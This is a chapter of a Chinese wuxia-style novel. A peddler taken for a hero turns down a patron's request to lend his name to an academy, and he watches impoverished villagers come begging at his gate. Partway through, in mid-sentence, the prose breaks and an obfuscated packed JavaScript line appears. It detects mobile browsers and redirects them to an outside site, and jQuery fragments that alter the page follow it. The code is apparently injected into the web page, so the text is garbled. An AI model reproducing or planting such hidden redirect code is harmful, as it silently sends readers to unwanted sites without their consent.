且说霜降一过，山中的风便硬了。早晨起来，庭院里的石板上结了一层薄霜，踩上去吱吱作响。贾三缩在被窝里不肯起身，这被窝还是孟姑新絮的，比上回那条厚了一指，盖在身上暖烘烘的，压得人连翻身都懒。铜锁来送洗脸水时，他正把脑袋蒙在被子里，只露出头顶那一撮还没长齐的短发，支楞在枕头上，似一丛被霜打过的狗尾巴草。
“前辈，该起了。温先生已在花厅等了一个时辰。”
“让他等着。”贾三的声音从被子里闷闷地传出来。
“沈公子也来了。天没亮便到了，一直坐在门房里喝白水，什么话也不说。”
贾三把被子掀开一条缝，露出一只眼睛。那只眼睛眨了眨，又闭上了。过了片刻，他忽然翻身坐起，赤着脚跳到地上，抓起搭在椅背上的袍子往身上套。沈玉郎，在上回他写回信让铜锁捎去之后，便一直没有回音。贾三还以为这位赛孟尝在白不群那里讨了公道，不必再找他了。可天没亮就来，怕不是来报喜的。他系腰带时手指有些发僵，扯了两回才系紧。铜锁递过热帕子给他擦脸，帕子捂在脸上烫得他嘶了一声，倒是把睡意烫醒了。
沈玉郎坐在门房里，面前的桌上搁着一杯白水。水早已凉透，他一口没喝。他今日没有穿那件月白团花锦袍，只套了件半旧青布夹袄，领口有些发毛，袖子上沾了几点泥。贾三一脚跨进门时，差点没认出他来，眼前这人眼眶发青，面色灰败，和数月前那个带仆从、捧礼盒、在花厅摔杯明志的翩翩公子，判若两人。
“大侠。”沈玉郎站起来，声音还算稳，可嘴唇却微微发颤。
贾三在他对面坐下，不知该说什么，便把手边的茶盏推了过去。沈玉郎看着那盏茶，忽然笑了一下。那笑意很苦，苦得让贾三觉得，他还是不笑为好。
“大侠，我来向您辞行。”
“辞行？你去哪儿？”
“淮南老宅。”沈玉郎垂下眼，手指无意识地转动着那只空空的水杯，“祖田的事，想必大侠早有耳闻。白庄主那条水渠淹了我家那片祖田，我去交涉，他不给我答复，只送了我一柄扇子，要我拿祖田入股。水渠已经通了水，田被浸了十日，禾烂了根。他那条渠本来就是从矿山引下来的，矿山是他的，水渠是他的，闸口在他手里。我若不点头，他便关闸，关了闸，头一个淹的不是飞鱼庄，还是我家那片田。”
他把空水杯放回桌上，杯底与桌面碰出一声轻响。
“昨日账房跟我说，库银只剩不到三千两。门下的清客，也散了大半。”
贾三沉默良久。他想起头一回在山庄花厅见到沈玉郎时，这人何等意气风发，何等志得意满。如今才过了多久，桂花还没落尽，柿子还没摘完，这人已经垮了。这假江湖吞一个人，比真江湖还快。
“那你来找我，是想……”贾三下意识便觉得自己该说点什么，可话到嘴边又咽了回去，他能帮人家什么？上回杜衡跪在门口求他找萍娘，他说帮不了，这回沈玉郎千里迢迢来求他跟白不群斡旋，他又能说什么？
“我来求大侠一件事。”沈玉郎抬起头，眼白上布着几道红血丝，眼仁却还是亮堂的，像是灰烬里头压着的一小撮没烧透的炭，“白不群要做太虚书院，要挂大侠的匾。大侠若能不给他这块匾，我家的祖田，或许还有一线生机。”
贾三忽然明白了。白不群为什么送银子、送湖笔、送老参，为什么三番两次登门赔笑，他不是敬他这个大侠，是要买他这张脸。一旦太虚书院的匾额上题了“太虚正宗贾不假亲题”这几个字，书院便成了“太虚正宗”，白不群便成了太虚正脉的护法。往后他想淹谁家的田便淹谁家的田，想关谁家的闸便关谁家的闸。而贾三，他这个连毛笔都握不稳的货郎，竟然也有被人当招牌的一天。这比被架进八抬大轿更荒诞，比被人当成大侠磕头更荒唐。
“我若不给，你家的田能保住吗？”
“不知道。但大侠若给了，便再也保不住了。”
贾三站起来，赤脚踩在青砖地上。冰凉的触感从脚底一直蹿到后脑勺，把最后一丝困意也驱散了。他走到窗前，推开窗扇，院子里雾气已散了大半，银杏叶还在往下落，一片接一片，似是有人在天上往下撒铜板。
“那块匾，”他背对着沈玉郎，声音有些发闷，“我不给。”
沈玉郎站起身，对着窗边那个头发蓬乱、一只袖子还卷在臂肘上头的背影，端端正正作了一个揖。
“玉郎告辞。”他没有再多说什么，只是把桌上那杯凉透的白水端起来喝净，然后推开门，走进庭中金黄的落叶里。铜锁在廊下候着，见他出来，微微侧身让过。那一瞬，铜锁的目光在沈玉郎的背影上停了片刻，他在山庄这些日子，见过许多来求大侠的人，只有这个人，来的时候不曾抬轿，走的时候不曾回头。
沈玉郎走后，贾三在花厅里独坐了一个上午。午饭不曾用，点心不曾动，连铜锁端来的茶都放凉了，也未曾续过。他从袖口里摸出一个油纸包，拆开，里面是半块风干了的柿饼，上回柳如烟寄来的那批，他留了一块舍不得吃，每日带在身上，偶尔掰一小撮放进嘴里，任凭那股涩意在舌尖上缓缓化开。饼渣碎在手心，他低头把它们舔干净，忽然想起自己从前挑担子赶集时，也是这样舔掉手里的饼渣，连掉在衣襟上的芝麻粒都不放过。他不知道自己怎么又做回了货郎。也许他从来就没离开过。
他的布包里还有家什。那块黑衣人临死前塞给他的玉佩，他从破庙带进了归真山庄。那张写满顺口溜的草纸，已经揉烂了边角，纸上的墨迹被手汗洇糊了好几个字，他还是没舍得扔。那支在集上帮人写情书时攒下的毛笔，尖已秃了毛，他用舌尖舔舔笔锋，还能在纸上划出字来，上回给沈玉郎写回信，用的便是这支笔。这些零碎，搁在寻常人眼里不值一钱，可在贾三看来，这便是他全部的家当。一个货郎的衣钵，兼一个大侠的信物。
沉思如许，便被铜锁打断一次，他进来换茶时，低声说了一句：“苏掌门来了。”贾三抬起头，以为自己听错了。苏牧羊，那个从来不登门、从不多话、每次只敬酒洒地便走的人，今日竟然主动登门。
苏牧羊没有进花厅。他站在山庄门口的石阶上，依旧穿着那身洗得发白的灰布袍，腰间挂着那口旧酒葫芦。他看见贾三出来，也不寒暄，只从怀中摸出一只粗陶小瓶，搁在石阶上，瓶底还沾着新泥，封口的蜡也只有薄薄一层。
“这是给沈公子的，”苏牧羊说，“烦请大侠转交。”
“你不自己给他？”
“我明日回守拙门。路远，赶不上。”
他没等贾三推辞，转身便走了。走了几步，又停下来，头也不回地说了一句：“太虚书院动土那日，守拙门不会到场。原话。”
贾三捧着小陶瓶站在石阶上，目送苏牧羊的背影消失在山道拐角。他把陶瓶托在掌心掂了掂，没什么分量。他不知道那里面装的是什么，但苏牧羊这人，不肯欠任何人，他收过沈玉郎三碗酒，便还他一瓶药。只是他为什么要说“原话”？沈玉郎人在淮南老宅，这药瓶怎么转交？难道他知道沈玉郎迟早会再回来？
午后的山庄门口，忽然传来一阵喧嚷。
贾三正捧着那瓶金疮药走回院里，听见动静，又退出来看。只见王寡妇拽着张屠夫的袖子，正从坡下往上走。王寡妇穿着一件灰扑扑的旧棉袄，袖口磨得露了棉花，头发胡乱挽了个髻，脸上被山风吹得发红。张屠夫被她拽得跌跌撞撞，手里还攥着一把杀猪刀，刀尖上沾着没擦干净的血渍，大概是刚从肉案上被拉下来的。吴家的大黄狗跟在他们后头。这条瘦骨嶙峋的土狗，还是当年贾三在村口货摊旁喂过的那条，如今毛色更黄了些，走起路来后腿有些跛，可那双眼睛还是又圆又亮，一见贾三便摇起了尾巴。
铜锁上前拦住，问什么事。王寡妇的声音又尖又碎，带着一股破罐子破摔的泼辣劲儿：“我要见贾大侠！我儿子病了！当年姓贾的在村口卖胭脂，骗我说那胭脂是苏州货，结果一抹脸就起疹子，如今他发达了，住大屋了，就不认我们这些穷乡亲了？”
贾三站在门内，听见这话，脚步一滞。她的声音还是跟当年在村口高声招呼他去家里喝茶时一般又尖又亮，只是那时她手里揽着刚从私塾下学回来的小栓，如今她拽着一脸不情愿的张屠夫。她确实来找过他，他记得那一回，她拽着张屠夫来山庄门口，吵的是同一件事。那天门房通报的声音比今天还哆嗦，他没让她进门，倒不是不想见，实在是不知道见了该说什么。如今他又听见这熟悉的声音，脚底忽然有些发软。
张屠夫在旁边闷声纠正：“你那疹子是吃螃蟹过敏，不是胭脂的事。你怎地每回都要扯上贾大侠——”
“你闭嘴！”王寡妇狠狠瞪了他一眼，转回来仰头对着门口高声补充，“大侠——大侠如今手指头缝里漏一点，也够我们娘俩活命了——”
贾三没有去门口。他从角门绕到山庄侧面的柴房，从柴房的小窗里往外看。他看见王寡妇站在石阶下面，一手拉着张屠夫，一手抹着眼泪。她自己脸上的皱纹比往日更深，整个人像一棵被风刮歪了的老槐树，眼看就要折了。他看见张屠夫闷声不吭地把杀猪刀别回腰间，把自己那件沾满油渍的外褂脱下来，披在王寡妇肩上。他看见那条大黄狗蹲在石阶旁，对着山庄大门歪着脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830802|211319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
袋，尾巴在落叶堆里慢慢地扫过来，又扫过去。
贾三看了很久，柴房里堆满了干透的松木劈柴，空气里有一股松脂的涩味。他没有站出来，也没有让铜锁去打发他们。他就蹲在柴堆后面，直到看门的老孙头从侧门出去，往王寡妇手里塞了一包碎银和一只油纸包。那油纸包贾三认得，是厨房里包点心的纸，上头还沁着一层油光，大概是孟姑听见了动静，从蒸笼里匀了两块糕出来。
王寡妇接过银子和油纸包，对着门内胡乱福了一礼，拽着张屠夫和狗又往坡下去了。张屠夫被她拽得踉跄，嘴里还在嘟囔“下回别再来这地界了”，可他的手一直扶在王寡妇的胳膊肘底下。大黄狗回头望了望山庄大门，尾巴摇了最后两下，然后追着两人的脚步跑了。
贾三从柴房里出来，拍了拍膝盖上的松针和灰土。他没有问任何人那糕是不是孟姑给的，也没有问那银子是谁出的。他只是走进厨房，看见孟姑正往灶膛里添柴火。蒸笼冒着白汽，满屋子都是米糕的甜香，灶台角的小碟子里，还是搁着两块没放糖的糕，凉了。
“孟姑，”他站在门口问，“王寡妇的儿子，得的是什么病？”
孟姑手上顿了一下，头也没回：“心病，饿出来的心病。”
贾三没有追问。他想起方才在门缝里看到王寡妇抹眼泪的那只手，指节粗大，指甲缝里还嵌着洗不掉的黑泥，那是长年在煤渣堆里抠炭屑留下的痕迹。他从前在村里见过她拿绣花针补衣服，那手指头比现在细一圈，针脚密密麻麻像蚂蚁排队，如今那双手，攥着铜板便松不开了。是贪？是怕。
那夜无月。贾三翻来覆去，醒了许多次，快到丑时，他终于忍不住，低声向黑暗里问了一句：“那孩子能好吗？”没有人应答。他的声音在空荡荡的房间里，像一块石子被投进了深不见底的古井，只能听见自己落下去的声响。
次日清晨，张半仙照例坐在半截翁旁边的石阶上，面前放着那只破碗。炊饼老汉从坡下挑着空蒸笼走上山庄时，在他脚边搁下一只炊饼，还是热的，腾腾地冒着白气。张半仙摸到炊饼，往半截翁的方向推了推。半截翁没有接，他正低头蘸墨，在那卷永远写不完的发黄纸上记着什么，笔尖在纸上沙沙作响，与秋虫的鸣叫声此起彼伏。
石阶前头，一个枯瘦的中年人穿着打补丁的短褐，正把一床旧棉被从门房的条凳上收走，那是杜衡。他从前是铁匠铺里抡大锤的汉子，一走三年，铺子早关了。如今他帮人补锅为生，补完锅便在门房外寻一条条凳躺下，不进屋，不问人，天亮了便卷铺盖走。山庄的管事不知他是怎么来的，也不知他为什么来，只得了贾三一句吩咐：不许赶人。
杜衡没有问过任何人，他不用问，他知道萍娘不会再回来了。他留在这里，只是为了每天早晨能看见那根歪倒在门口的扁担，被金刀门弟子抬出来擦拭。那根被浸入水槽前总要先用干布擦三遍竹皮的旧扁担，让他想起自己铺子里那把挂了许多年、早已锈迹斑斑的铁钳。
铜锁从廊下经过，看见了那条被晨风吹得发颤的空蒸笼，炊饼老汉佝偻的背影，和半截翁手里那支不停不歇的笔。他忽然想起自己小时候，也有一条狗，黑毛，土狗，四眼，趴在门口等他爹回家。他爹没回来，狗饿死了。
他没有跟任何人说起这些。他只是把茶盘端回厨房，搁在灶台上，然后从袖子里摸出一小撮黄连碎，看了一眼，没有往甘草格里撒，而是撒进了自己嘴里。苦味从舌根泛上来，他靠在厨房门框边，闭着眼，嚼了很久。
——
附：半截翁残稿
多年后，文华堂整修旧档，从半截翁遗物中翻出一张残页，上面这样写着：
“张屠，名九斤。村口市肉，性钝，寡言。王寡妇每诉，张屠默然立其后，以油褂覆其肩，十年不移。又，吴家老黄犬，每晨卧山庄石阶下，望门不吠。十月初七日，犬老，死于阶下。张屠以草席卷之，葬于破庙后山。”
残页背面另有数行字，笔迹与正面不同，更枯，更涩：
“炊饼老汉，不知其姓。每于庄前叫卖，其声哑。尝闻其子十年前为盟主府征修忠义堂，未归，不敢问。饼凉则换，天亮则来。今日庄门外左阶石缝野菊一株，茎折，花犹抱枝不放。记之，九月廿九日。”
后附一行极小的注，与正面字迹相同：
“余记贾大侠起居，数月所闻，无大哭，无大怒。唯菜地被窥后骂‘看什么看’、黑风寨断发际叱‘他*的’各一句。至若杜衡跪门、玉郎掷杯、王寡妇携雏泣于阶下，贾皆默然。其默也，非无言，是言无可言。余削足自锢，生平阅人多矣，独此货郎，不解，不解。”